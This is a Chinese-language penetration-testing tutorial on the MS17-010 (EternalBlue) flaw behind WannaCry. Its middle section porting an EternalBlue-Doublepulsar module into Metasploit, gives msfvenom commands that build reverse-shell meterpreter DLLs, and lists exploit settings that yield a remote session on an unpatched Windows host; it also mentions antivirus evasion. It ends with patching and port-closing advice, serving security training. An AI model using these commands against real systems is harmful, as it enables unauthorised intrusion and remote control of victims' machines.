Metasploit成为全球最受欢迎的工具之一,不仅是因为它的方便性和强大性,更重要的是它的框架。Metasploit本身虽然集合了大量的系统漏洞利用代码模块,但并没有拥有所有的漏洞代码,它允许使用者开发自己的漏洞模块,从而进行测试,这些模块可能是用各种语言编写的,例如Perl、Python等,Metasploit支持各种不同语言编写的模块移植到其框架中,通过这种机制可以将各种现存的模块软件移植成为与Metasploit兼容的渗透模块。所以说,允许使用者开发自己的漏洞模块,是Metasploit非常强大且非常重要的功能。
2017年5月12日20时左右,引起全球轰动的“想哭”(WannaCry)勒索软件,在不到1天的时间内,袭击了中国在内的全球近百个国家和地区,学校、企业、政府、交通、能源、医疗等重点行业领域的计算机中的重要文件被加密,相关人员的工作被迫停顿,只有支付赎金方可解锁被加密的文件。
“想哭”勒索软件的前身是一款普通勒索软件,传播能力极弱。经攻击者改造、植入,被泄露在网上的NSA(美国国家安全局)军火库工具“永恒之蓝”(Eternalblue)后,才变成极具传播能力的大杀器,学校、企业、政府等内网环境中只要有一台Windows系统计算机感染,就会迅速扩散到所有未安装补丁的计算机上。用户计算机“中招”后,系统内的图片、文档、视频、压缩包等文件均被加密,只有向勒索者支付价值300美元的比特币方可解锁。“想哭”的影响范围十分广泛,造成的后果极其严重。
1、MS17-010漏洞简介、原理及对策
“想哭”勒索软件使用到的“永恒之蓝”就是2016年8月Shadow Brokers入侵方程式组织(Equation Group是NSA下属的黑客组织)窃取大量机密文件并公开放出的一大批NSA Windows零日漏洞利用工具系列中的一款。除此之外,以“永恒”为前缀名的漏洞利用工具还有Eternalromance、Eternalchampion和Eternalsynergy等,所有这些都是针对Windows操作系统的。“想哭”利用了微软SMB远程代码执行漏洞MS17-010,并基于445端口迅速传播扩散。一夜之间,全世界70%的Windows服务器置于危险之中,网络上已经很久没有出现过像MS17-010这种级别的漏洞了,基本实现了“指哪打哪”。
受影响的Windows版本基本囊括了微软全系列,包括Windows NT、Windows 2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8、Windows 2008、Windows 2008 R2、Windows Server 2012 SP0等。还好,微软早在2017年3月14日就发布了MS17-010漏洞的补丁,但仍有大量用户没有升级补丁。
MS17-010漏洞利用模块就是利用Windows系统的Windows SMB远程执行代码漏洞,向Microsoft服务器消息块(SMBv1)服务器发送经特殊设计的消息后,允许远程代码执行。成功利用这些漏洞的攻击者即可获得在目标系统上执行代码的权力。
为了利用此漏洞,在多数情况下,未经身份验证的攻击者可能会向目标SMBv1服务器发送经特殊设计的数据包,从而实现成功攻击。
应尽快做好受MS17-010漏洞的影响系统的补丁升级工作,避免被恶意勒索软件利用。如无特殊情况可关闭445端口,并做好关键业务数据的备份工作。
2、移植并利用MS17-010漏洞利用代码
MS17-010的漏洞利用模块Metasploit虽然已经集成,但是经过测试后被发现不支持渗透Windows 2003系统,但是网络上有支持的渗透脚本,其GitHub下载地址为https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit/,如图1所示。
图1 MS17-010的渗透脚本
首先将该漏洞利用模块克隆到本地文件夹,如图2所示。
图2 克隆漏洞利用模块
接着将eternalblue_doublepulsar-Metasploit文件夹下的eternalblue_doublepulsar.rb复制到/usr/share/metasploit-framework/modules/exploits/windows/smb下,在Metasploit中,了解漏洞利用代码模块存储的文件夹位置非常重要,不仅有助于寻找不同模块的所在位置,也有助于理解Metasploit框架的基本用法,如图3所示。
图3 将模块移动到相应目录
现在去MSF下面重新加载全部文件,如图4所示。
图4 加载全部文件
现在就可以搜到该脚本了,输入use命令加载该模块,如图5所示。
图5 搜索并使用该模块
将MS17-010漏洞利用代码移植到Metasploit框架后,就可以开始渗透测试了,在攻击之前要先生成一个DLL文件,如果目标机是32位的系统就生成32位的DLL,是64位的系统就生成64位的DLL。这里涉及免杀,可以使用PowerShell下的Empire生成DLL,这里使用MSF自带的Msfvenom命令生成,如下所示。
64位:msfvenom-p windows/x64/meterpreter/reverse_tcp lhost=192.168.31.247 lport=4444-f dll-o ~/eternal11.dll
32位:msfvenom-p windows/meterpreter/reverse_tcp lhost=172.19.186.17-f dll-o~/eternal11.dll
在使用该漏洞模块时,要按照实际情况设置以下参数。
Set PROCESSINJECT lsass.exe(Intel x86和Intel x64都可以)
SetRHOST192.168.12.108
Set TARGETARCHITECTURE x86
SET WINEPATH /root/.wine/drive_c(默认DLL生成文件夹,可以修改)
Set payload windows/meterpreter/reverse_tcp
Set LHOST 192.168.12.110
SET LPORT 4444(该端口不可修改,否则无法成功)
Set target 9
全部设置完成后,如图6所示。
图6 查看设置的参数
这里输入exploit或者run命令发动攻击,成功后会顺利得到一个Meterpreter会话,如图7所示。
图7 攻击成功
至此,我们已经成功利用MS17-010漏洞完成入侵。
因为该漏洞危害极大,一定要严格做好如下防御措施。
●为计算机安装最新的安全补丁,微软已发布补丁MS17-010修复了“永恒之蓝”攻击的系统漏洞,网址为https://technet.microsoft.com/zh-cn/library/security/MS17-010。也可以通过第三方工具,下载补丁包打上该补丁。
●及时备份,一定要将重要文件离线备份。
●开启防火墙。
●关闭445、135、137、138、139端口,关闭网络共享。